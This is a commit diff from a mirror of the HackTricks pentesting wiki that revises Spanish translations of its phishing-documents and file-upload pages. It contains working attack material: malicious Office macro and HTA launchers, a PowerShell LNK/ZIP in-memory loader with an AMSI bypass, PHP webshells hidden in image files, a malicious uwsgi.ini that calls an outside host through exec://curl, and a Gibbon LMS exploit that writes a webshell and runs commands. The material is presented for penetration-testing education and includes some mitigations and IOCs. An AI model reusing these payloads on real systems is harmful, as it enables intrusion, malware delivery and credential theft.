maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/generic-methodologies-and-resources/phishing-method

Browse Source
This commit is contained in:
Translator 2025-09-30 04:38:38 +00:00
parent 56d49107dd
commit dca19fd6d8
4 changed files with 241 additions and 153 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

74
src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md
View File

@ -1,35 +1,35 @@
# Phishing: Archivos y Documentos
# Archivos y Documentos de Phishing
{{#include ../../banners/hacktricks-training.md}}
## Documentos de Office
Microsoft Word realiza validación de datos del archivo antes de abrirlo. La validación de datos se realiza en forma de identificación de la estructura de datos, contra el estándar OfficeOpenXML. Si ocurre algún error durante la identificación de la estructura de datos, el archivo que se está analizando no se abrirá.
Microsoft Word realiza la validación de datos del archivo antes de abrirlo. La validación de datos se realiza en forma de identificación de la estructura de datos, conforme al estándar OfficeOpenXML. Si ocurre cualquier error durante la identificación de la estructura de datos, el archivo analizado no se abrirá.
Normalmente, los archivos de Word que contienen macros usan la extensión `.docm`. Sin embargo, es posible renombrar el archivo cambiando la extensión y aún conservar su capacidad de ejecutar macros.\
Por ejemplo, un archivo RTF no soporta macros, por diseño, pero un archivo DOCM renombrado a RTF será manejado por Microsoft Word y será capaz de ejecutar macros.\
Los mismos internos y mecanismos aplican a todo el software de la Microsoft Office Suite (Excel, PowerPoint etc.).
Normalmente, los archivos de Word que contienen macros usan la extensión `.docm`. Sin embargo, es posible renombrar el archivo cambiando la extensión y aun así mantener sus capacidades de ejecución de macros.\
Por ejemplo, un archivo RTF no soporta macros por diseño, pero un archivo DOCM renombrado a RTF será manejado por Microsoft Word y será capaz de ejecutar macros.\
Los mismos internos y mecanismos se aplican a todo el software de la Microsoft Office Suite (Excel, PowerPoint etc.).
Puedes usar el siguiente comando para comprobar qué extensiones se van a ejecutar por algunos programas de Office:
Puedes usar el siguiente comando para comprobar qué extensiones van a ser ejecutadas por algunos programas de Office:
```bash
assoc | findstr /i "word excel powerp"
```
Los archivos DOCX que hacen referencia a una plantilla remota (Archivo – Opciones – Complementos – Administrar: Plantillas – Ir) que incluye macros también pueden “ejecutar” macros.
Los archivos DOCX que referencian una plantilla remota (Archivo – Opciones – Complementos – Administrar: Plantillas – Ir) que incluye macros también pueden “ejecutar” macros.
### Carga de imagen externa
Ve a: _Insertar --> Partes rápidas --> Campo_\
Ir a: _Insertar --> Quick Parts --> Field_\
_**Categorías**: Enlaces y referencias, **Nombres de campo**: includePicture, y **Nombre de archivo o URL**:_ http://<ip>/whatever
![](<../../images/image (155).png>)
### Macros Backdoor
Es posible utilizar macros para ejecutar código arbitrario desde el documento.
Es posible usar macros para ejecutar código arbitrario desde el documento.
#### Funciones Autoload
Cuanto más comunes sean, más probable es que el AV las detecte.
Cuanto más comunes sean, más probable será que el AV los detecte.
- AutoOpen()
- Document_Open()
@ -64,14 +64,14 @@ Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
```
#### Eliminar metadatos manualmente
#### Eliminar manualmente los metadatos
Ve a **File > Info > Inspect Document > Inspect Document**, lo que abrirá el Document Inspector. Haz clic en **Inspect** y luego en **Remove All** junto a **Document Properties and Personal Information**.
#### Extensión del documento
Cuando termines, selecciona el desplegable **Save as type**, cambia el formato de **`.docx`** a **Word 97-2003 `.doc`**.\
Haz esto porque no puedes guardar macro's dentro de un `.docx` y existe un estigma alrededor de la extensión macro-enabled **`.docm`** (p. ej. el icono en miniatura tiene un enorme `!` y algunos gateways web/email los bloquean completamente). Por lo tanto, esta **extensión legacy `.doc` es el mejor compromiso**.
Al terminar, selecciona el desplegable **Save as type**, cambia el formato de **`.docx`** a **Word 97-2003 `.doc`**.\
Haz esto porque **no puedes guardar macros dentro de un `.docx`** y hay un **estigma** **alrededor** de la extensión habilitada para macros **`.docm`** (p. ej., el icono en miniatura tiene un gran `!` y algunos web/email gateway los bloquean por completo). Por lo tanto, esta **extensión legada `.doc` es el mejor compromiso**.
#### Malicious Macros Generators
@ -79,11 +79,11 @@ Haz esto porque no puedes guardar macro's dentro de un `.docx` y existe un estig
- [**macphish**](https://github.com/cldrn/macphish)
- [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
## Archivos HTA
## HTA Files
Un HTA es un programa de Windows que **combina HTML y lenguajes de scripting (como VBScript y JScript)**. Genera la interfaz de usuario y se ejecuta como una aplicación "fully trusted", sin las limitaciones del modelo de seguridad de un navegador.
Un HTA es un programa de Windows que **combina HTML y lenguajes de scripting (como VBScript y JScript)**. Genera la interfaz de usuario y se ejecuta como una aplicación "completamente confiable", sin las limitaciones del modelo de seguridad de un navegador.
Un HTA se ejecuta usando **`mshta.exe`**, que normalmente viene **instalado** junto con **Internet Explorer**, haciendo que **`mshta` dependa de IE**. Así que si se ha desinstalado, los HTA no podrán ejecutarse.
Un HTA se ejecuta usando **`mshta.exe`**, que típicamente está **instalado** junto con **Internet Explorer**, haciendo que **`mshta` dependa de IE**. Por lo tanto, si ha sido desinstalado, los HTAs no podrán ejecutarse.
```html
<--! Basic HTA Execution -->
<html>
@ -140,9 +140,9 @@ self.close
```
## Forzar la autenticación NTLM
Hay varias formas de **forzar la autenticación NTLM "remotamente"**, por ejemplo, puedes añadir **imágenes invisibles** a correos o HTML que el usuario accederá (¿incluso HTTP MitM?). O enviar a la víctima la **ubicación de archivos** que **dispararán** una **autenticación** solo por **abrir la carpeta.**
Hay varias maneras de **forzar la autenticación NTLM "remotamente"**, por ejemplo, puedes añadir **imágenes invisibles** a correos o HTML que el usuario vaya a abrir (¿incluso HTTP MitM?). O enviar a la víctima la **dirección de archivos** que **dispararán** una **autenticación** solo con **abrir la carpeta.**
**Consulta estas ideas y más en las siguientes páginas:**
**Consulta estas ideas y más en las páginas siguientes:**
{{#ref}}
@ -156,22 +156,22 @@ Hay varias formas de **forzar la autenticación NTLM "remotamente"**, por ejempl
### NTLM Relay
No olvides que no solo puedes robar el hash o la autenticación sino también **perform NTLM relay attacks**:
No olvides que no solo puedes robar el hash o la autenticación, sino también **perform NTLM relay attacks**:
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Campañas altamente efectivas entregan un ZIP que contiene dos documentos señuelo legítimos (PDF/DOCX) y un .lnk malicioso. El truco es que el PowerShell loader real está almacenado dentro de los bytes crudos del ZIP después de un marcador único, y el .lnk lo extrae y ejecuta completamente en memoria.
Las campañas altamente efectivas entregan un ZIP que contiene dos documentos señuelo legítimos (PDF/DOCX) y un .lnk malicioso. El truco es que el loader real de PowerShell se almacena dentro de los bytes crudos del ZIP después de un marcador único, y el .lnk lo extrae y ejecuta completamente en memoria.
Flujo típico implementado por el one-liner de PowerShell en el .lnk:
Flujo típico implementado por el .lnk PowerShell one-liner:
1) Localizar el ZIP original en rutas comunes: Desktop, Downloads, Documents, %TEMP%, %ProgramData%, y el directorio padre del directorio de trabajo actual.
2) Leer los bytes del ZIP y encontrar un marcador hardcoded (p. ej., xFIQCV). Todo lo que esté después del marcador es el PowerShell payload embebido.
3) Copiar el ZIP a %ProgramData%, extraerlo allí y abrir el .docx señuelo para aparentar legitimidad.
4) Evadir AMSI para el proceso actual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) Desofuscar la siguiente etapa (p. ej., eliminar todos los caracteres #) y ejecutarla en memoria.
1) Localiza el ZIP original en rutas comunes: Desktop, Downloads, Documents, %TEMP%, %ProgramData% y el padre del directorio de trabajo actual.
2) Lee los bytes del ZIP y busca un marcador hardcodeado (p. ej., xFIQCV). Todo lo que sigue al marcador es la carga útil de PowerShell embebida.
3) Copia el ZIP a %ProgramData%, extráelo allí y abre el .docx señuelo para aparentar legitimidad.
4) Omitir AMSI para el proceso actual: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
5) Desofusca la siguiente etapa (p. ej., elimina todos los caracteres #) y ejecútala en memoria.
Ejemplo de esqueleto PowerShell para extraer y ejecutar la etapa embebida:
```powershell
@ -191,25 +191,25 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
Invoke-Expression $code
```
Notas
- La entrega a menudo abusa de subdominios reputados de PaaS (p. ej., *.herokuapp.com) y puede gatear payloads (servir ZIP benignos según IP/UA).
- La siguiente etapa frecuentemente descifra shellcode base64/XOR y lo ejecuta vía Reflection.Emit + VirtualAlloc para minimizar artefactos en disco.
- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA).
- The next stage frequently decrypts base64/XOR shellcode and executes it via Reflection.Emit + VirtualAlloc to minimize disk artifacts.
Persistencia utilizada en la misma cadena
- COM TypeLib hijacking del Microsoft Web Browser control para que IE/Explorer o cualquier app que lo embeba vuelva a ejecutar el payload automáticamente. Ver detalles y comandos listos para usar aquí:
Persistencia usada en la misma cadena
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
{{#ref}}
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
{{#endref}}
Hunting/IOCs
- Archivos ZIP que contienen la cadena marcador ASCII (p. ej., xFIQCV) añadida a los datos del archivo.
- .lnk que enumera carpetas padre/usuario para localizar el ZIP y abre un documento señuelo.
- Manipulación de AMSI vía [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Hilos de negocio de larga duración que terminan con enlaces alojados bajo dominios PaaS de confianza.
Detección/IOCs
- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data.
- .lnk que enumera carpetas parent/user para localizar el ZIP y abre un documento señuelo.
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Hilos de negocio de larga duración que terminan con enlaces alojados en dominios PaaS de confianza.
## Archivos de Windows para robar hashes NTLM
## Archivos de Windows para robar NTLM hashes
Consulta la página sobre **lugares para robar credenciales NTLM**:
Consulta la página sobre **lugares para robar NTLM creds**:
{{#ref}}
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md

212
src/pentesting-web/file-upload/README.md
View File

@ -1,4 +1,4 @@
# Subida de archivos
# Carga de archivos
{{#include ../../banners/hacktricks-training.md}}
@ -15,13 +15,13 @@ Otras extensiones útiles:
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
### Bypass file extensions checks
### Bypass de las comprobaciones de extensiones de archivo
1. Si aplican, **comprueba** las **extensiones anteriores.** También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._
2. _Comprueba **añadir una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_
1. Si aplican, **revisa** las **extensiones anteriores.** También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._
2. _Revisa **añadir una extensión válida antes** de la extensión de ejecución (usa las extensiones anteriores también):_
- _file.png.php_
- _file.png.Php5_
3. Intenta añadir **caracteres especiales al final.** Puedes usar Burp para hacer **bruteforce** de todos los caracteres **ascii** y **Unicode**. (_Ten en cuenta que también puedes intentar usar las **extensiones** mencionadas **anteriormente**_)
3. Intenta añadir **caracteres especiales al final.** Puedes usar Burp para **bruteforce** todos los caracteres **ascii** y **Unicode**. (_Ten en cuenta que también puedes intentar usar las **extensiones** mencionadas **anteriormente**_)
- _file.php%20_
- _file.php%0a_
- _file.php%00_
@ -31,7 +31,7 @@ Otras extensiones útiles:
- _file._
- _file.php...._
- _file.pHp5...._
4. Intenta eludir las protecciones **engañando al extension parser** del lado servidor con técnicas como **doubling** la **extension** o **adding junk** data (bytes **null**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar un payload mejor._
4. Intenta eludir las protecciones **engañando al parser de extensiones** del servidor-side con técnicas como **duplicar** la **extensión** o **añadir datos basura** (bytes **null**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar un payload mejor._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@ -40,13 +40,13 @@ Otras extensiones útiles:
- _file.php%0a.png_
- _file.php%0d%0a.png_
- _file.phpJunk123png_
5. Añade **otra capa de extensiones** a la comprobación anterior:
5. Añade **otra capa de extensiones** a la comprobación previa:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
6. Intenta poner la **exec extension before the valid extension** y reza para que el servidor esté mal configurado. (útil para explotar misconfiguraciones de Apache donde cualquier cosa con extensión **.php**, aunque no termine necesariamente en .php, ejecutará código):
6. Intenta poner la **extensión ejecutable antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar misconfiguraciones de Apache donde cualquier cosa con extensión** _**.php**_**, pero** no necesariamente terminando en .php** ejecutará código):
- _ex: file.php.png_
7. Uso de **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará en el servidor un **archivo vacío con la extensión prohibida** (p.ej. "file.asax:.jpg"). Este archivo podría ser editado más tarde usando otras técnicas como su short filename. El patrón "**::$data**” también puede usarse para crear archivos no vacíos. Por lo tanto, añadir un punto después de este patrón puede ser útil para eludir restricciones adicionales (p.ej. "file.asp::$data.")
8. Intenta romper los límites de nombre de archivo. La extensión válida se corta y queda el PHP malicioso. AAA<--SNIP-->AAA.php
7. Uso de **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos ":" después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (p. ej. "file.asax:.jpg”). Este archivo podría ser editado más tarde usando otras técnicas como su short filename. El patrón "**::$data**” también puede usarse para crear archivos no vacíos. Por lo tanto, añadir un punto después de este patrón puede ser útil para eludir restricciones adicionales (p. ej. "file.asp::$data.”)
8. Intenta romper los límites del nombre de archivo. La extensión válida se corta. Y el PHP malicioso queda. AAA<--SNIP-->AAA.php
```
# Linux maximum 255 bytes
@ -61,13 +61,13 @@ AAA<--SNIP 232 A-->AAA.php.png
#### UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
Algunos manejadores de upload recortan o normalizan los caracteres de punto final (trailing dot) del nombre de archivo guardado. En UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) versiones anteriores a 2.9.1, puedes eludir la validación de extensiones mediante:
Algunos handlers de upload recortan o normalizan caracteres de punto final del filename guardado. En UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) en versiones anteriores a 2.9.1, puedes bypassear la validación de extensiones mediante:
- Usar un MIME de imagen válido y el magic header correspondiente (p. ej., el `\x89PNG\r\n\x1a\n` de PNG).
- Usar un MIME válido de imagen y magic header (p. ej., el `\x89PNG\r\n\x1a\n` de PNG).
- Nombrar el archivo subido con una extensión PHP seguida de un punto, p. ej., `shell.php.`.
- El servidor elimina el punto final y persiste `shell.php`, que se ejecutará si se coloca en un directorio servido por la web (almacenamiento público por defecto como `/storage/files/`).
- El servidor quita el punto final y persiste `shell.php`, que se ejecutará si se coloca en un directorio servido por la web (almacenamiento público por defecto como `/storage/files/`).
PoC mínimo (Burp Repeater):
Minimal PoC (Burp Repeater):
```http
POST /profile/avatar HTTP/1.1
Host: target
@ -85,9 +85,9 @@ Luego accede a la ruta guardada (típico en Laravel + LFM):
GET /storage/files/0xdf.php?cmd=id
```
Mitigaciones:
- Upgrade unisharp/laravel-filemanager to ≥ 2.9.1.
- Enforce strict server-side allowlists and re-validate the persisted filename.
- Serve uploads from non-executable locations.
- Actualizar unisharp/laravel-filemanager a ≥ 2.9.1.
- Aplicar listas de permitidos (allowlists) estrictas en el servidor y revalidar el nombre de archivo persistido.
- Servir las subidas desde ubicaciones no ejecutables.
### Bypass Content-Type, Magic Number, Compression & Resizing
@ -95,51 +95,50 @@ Mitigaciones:
1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Bypass **magic number** check by adding at the beginning of the file the **bytes of a real image** (confuse the _file_ command). Or introduce the shell inside the **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` or you could also **introduce the payload directly** in an image:\
`\` o también podrías **introducir el payload directamente** en una imagen:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- If **compressions is being added to your image**, for example using some standard PHP libraries like [PHP-GD](https://www.php.net/manual/fr/book.image.php), the previous techniques won't be useful it. However, you could use the **PLTE chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- The web page could also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- The web page cold also be **resizing** the **image**, using for example the PHP-GD functions `imagecopyresized` or `imagecopyresampled`. However, you could use the **IDAT chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Another technique to make a payload that **survives an image resizing**, using the PHP-GD function `thumbnailImage`. However, you could use the **tEXt chunk** [**technique defined here**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) to insert some text that will **survive compression**.
- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
- [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Other Tricks to check
### Otros trucos para probar
- Find a vulnerability to **rename** the file already uploaded (to change the extension).
- Find a **Local File Inclusion** vulnerability to execute the backdoor.
- **Possible Information disclosure**:
1. Upload **several times** (and at the **same time**) the **same file** with the **same name**
2. Upload a file with the **name** of a **file** or **folder** that **already exists**
3. Uploading a file with **"." , "..", or "…" as its name**. For instance, in Apache in **Windows**, if the application saves the uploaded files in "/www/uploads/" directory, the "." filename will create a file called
uploads” in the "/www/" directory.
4. Upload a file that may not be deleted easily such as **"…:.jpg"** in **NTFS**. (Windows)
5. Upload a file in **Windows** with **invalid characters** such as `|<>*?”` in its name. (Windows)
6. Upload a file in **Windows** using **reserved** (**forbidden**) **names** such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Try also to **upload an executable** (.exe) or an **.html** (less suspicious) that **will execute code** when accidentally opened by victim.
- Buscar una vulnerabilidad para **renombrar** el archivo ya subido (para cambiar la extensión).
- Buscar una vulnerabilidad de **Local File Inclusion** para ejecutar el backdoor.
- **Posible divulgación de información**:
1. Subir **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre**
2. Subir un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe**
3. Subir un archivo con **"." , "..", o "…" como su nombre**. Por ejemplo, en Apache en **Windows**, si la aplicación guarda los archivos subidos en el directorio "/www/uploads/", el nombre "." creará un archivo llamado uploads en el directorio "/www/".
4. Subir un archivo que pueda no eliminarse fácilmente como **"…:.jpg"** en **NTFS**. (Windows)
5. Subir un archivo en **Windows** con **caracteres inválidos** como `|<>*?”` en su nombre. (Windows)
6. Subir un archivo en **Windows** usando nombres **reservados** (**prohibidos**) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Intenta también **subir un ejecutable** (.exe) o un **.html** (menos sospechoso) que **ejecute código** cuando la víctima lo abra accidentalmente.
### Special extension tricks
If you are trying to upload files to a **PHP server**, [take a look at the **.htaccess** trick to execute code](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
If you are trying to upload files to an **ASP server**, [take a look at the **.config** trick to execute code](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
Si intentas subir archivos a un **servidor PHP**, [consulta el truco de **.htaccess** para ejecutar código](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Si intentas subir archivos a un **servidor ASP**, [consulta el truco de **.config** para ejecutar código](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
The `.phar` files are like the `.jar` for java, but for php, and can be **used like a php file** (executing it with php, or including it inside a script...)
Los archivos `.phar` son como los `.jar` para Java, pero para PHP, y pueden **usarse como un archivo php** (ejecutándolos con php, o incluyéndolos dentro de un script...).
The `.inc` extension is sometimes used for php files that are only used to **import files**, so, at some point, someone could have allow **this extension to be executed**.
La extensión `.inc` a veces se usa para archivos php que solo se usan para **importar archivos**, por lo que, en algún momento, alguien podría haber permitido que **esta extensión se ejecute**.
## **Jetty RCE**
If you can upload a XML file into a Jetty server you can obtain [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** So, as mentioned in the following image, upload the XML file to `$JETTY_BASE/webapps/` and expect the shell!
Si puedes subir un archivo XML a un servidor Jetty puedes obtener [RCE because **new *.xml and *.war are automatically processed**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` y espera la shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE**
For a detailed exploration of this vulnerability check the original research: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Para una exploración detallada de esta vulnerabilidad revisa la investigación original: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the `.ini` configuration file. uWSGI configuration files leverage a specific syntax to incorporate "magic" variables, placeholders, and operators. Notably, the '@' operator, utilized as `@(filename)`, is designed to include the contents of a file. Among the various supported schemes in uWSGI, the "exec" scheme is particularly potent, allowing the reading of data from a process's standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a `.ini` configuration file is processed.
Las vulnerabilidades de Remote Command Execution (RCE) pueden explotarse en servidores uWSGI si se tiene la capacidad de modificar el archivo de configuración `.ini`. Los archivos de configuración de uWSGI usan una sintaxis específica para incorporar variables "mágicas", placeholders y operadores. En particular, el operador '@', utilizado como `@(filename)`, está diseñado para incluir el contenido de un archivo. Entre los distintos esquemas soportados en uWSGI, el esquema "exec" es especialmente potente, permitiendo leer datos desde la salida estándar de un proceso. Esta funcionalidad puede manipularse con fines maliciosos, como Remote Command Execution o escritura/lectura arbitraria de archivos cuando se procesa un archivo de configuración `.ini`.
Consider the following example of a harmful `uwsgi.ini` file, showcasing various schemes:
Considere el siguiente ejemplo de un archivo `uwsgi.ini` malicioso, que muestra varios esquemas:
```ini
[uwsgi]
; read from a symbol
@ -157,20 +156,20 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
La ejecución del payload ocurre durante el parseo del archivo de configuración. Para que la configuración se active y sea parseada, el proceso uWSGI debe ser reiniciado (potencialmente tras un crash o debido a un Denial of Service attack) o el archivo debe estar configurado en auto-reload. La función de auto-reload, si está habilitada, recarga el archivo a intervalos especificados al detectar cambios.
La ejecución del payload ocurre durante el análisis del archivo de configuración. Para que la configuración se active y sea procesada, el proceso uWSGI debe reiniciarse (potencialmente tras un crash o debido a un Denial of Service attack) o el archivo debe estar configurado para auto-reload. La característica auto-reload, si está habilitada, recarga el archivo en intervalos especificados al detectar cambios.
Es crucial entender la laxitud del parseo del archivo de configuración de uWSGI. Específicamente, el payload mencionado puede insertarse en un archivo binario (como una imagen o PDF), ampliando aún más el alcance de la explotación potencial.
Es crucial entender lo permisivo del parsing de archivos de configuración de uWSGI. Específicamente, el payload mencionado puede insertarse en un archivo binario (por ejemplo, una imagen o un PDF), ampliando así el alcance de la explotación potencial.
### Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Un endpoint no autenticado en Gibbon LMS permite arbitrary file write dentro del web root, lo que conduce a pre-auth RCE al dejar un archivo PHP. Versiones vulnerables: hasta e incluyendo 25.0.01.
Un endpoint no autenticado en Gibbon LMS permite arbitrary file write dentro de la raíz web, lo que conduce a pre-auth RCE al colocar un archivo PHP. Versiones vulnerables: hasta e incluyendo 25.0.01.
- Endpoint: `/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php`
- Método: POST
- Method: POST
- Parámetros requeridos:
- `img`: cadena tipo data-URI: `[mime];[name],[base64]` (el servidor ignora type/name, decodifica en base64 la cola)
- `img`: data-URI-like string: `[mime];[name],[base64]` (el servidor ignora el tipo/nombre y decodifica en base64 la parte final)
- `path`: nombre de archivo de destino relativo al directorio de instalación de Gibbon (por ejemplo, `poc.php` o `0xdf.php`)
- `gibbonPersonID`: cualquier valor no vacío es aceptado (por ejemplo, `0000000001`)
- `gibbonPersonID`: se acepta cualquier valor no vacío (por ejemplo, `0000000001`)
Minimal PoC to write and read back a file:
```bash
@ -185,7 +184,7 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
# Verify write
curl http://target/Gibbon-LMS/poc.php
```
Sube un webshell mínimo y ejecuta comandos:
Coloca un webshell mínimo y ejecuta comandos:
```bash
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
@ -196,15 +195,15 @@ curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
```
Notas:
- El manejador ejecuta `base64_decode($_POST["img"])` después de dividir por `;` y `,`, luego escribe los bytes en `$absolutePath . '/' . $_POST['path']` sin validar la extensión/tipo.
- El código resultante se ejecuta como el usuario del servicio web (p. ej., XAMPP Apache en Windows).
- El handler realiza `base64_decode($_POST["img"])` después de dividir por `;` y `,`, luego escribe los bytes en `$absolutePath . '/' . $_POST['path']` sin validar la extensión/tipo.
- El código resultante se ejecuta como el usuario del servicio web (por ejemplo, XAMPP Apache en Windows).
Las referencias para este bug incluyen el advisory de usd HeroLab y la entrada en NVD. Ver la sección References más abajo.
Las referencias para este bug incluyen el advisory de HeroLab de usd y la entrada en NVD. Consulta la sección Referencias más abajo.
## **wget File Upload/SSRF Trick**
En algunas ocasiones puedes encontrar que un servidor está usando **`wget`** para **descargar archivos** y puedes **indicar** la **URL**. En esos casos, el código puede estar comprobando que la extensión de los archivos descargados esté dentro de una lista blanca para asegurarse de que solo se vayan a descargar archivos permitidos. Sin embargo, **esta comprobación se puede eludir.**\
La **longitud máxima** de un **nombre de archivo** en **linux** es **255**, sin embargo, **wget** trunca los nombres a **236** caracteres. Puedes **descargar un archivo llamado "A"*232+".php"+".gif"**, este nombre de archivo **eludirá** la **comprobación** (ya que en este ejemplo **".gif"** es una **extensión válida**) pero `wget` **renombrará** el archivo a **"A"*232+".php"**.
En algunas ocasiones puedes encontrar que un servidor está usando **`wget`** para **descargar archivos** y puedes **indicar** la **URL**. En estos casos, el código puede estar comprobando que la extensión de los archivos descargados esté dentro de una whitelist para asegurar que solo se descargarán archivos permitidos. Sin embargo, **esta comprobación puede ser eludida.**\
La **longitud máxima** de un **nombre de archivo** en **linux** es **255**, sin embargo, **wget** trunca los nombres de archivo a **236** caracteres. Puedes **download a file called "A"*232+".php"+".gif"**, este nombre de archivo **eludirá** la **comprobación** (como en este ejemplo **".gif"** es una **extensión válida**) pero `wget` **renombrará** el archivo a **"A"*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -227,35 +226,60 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
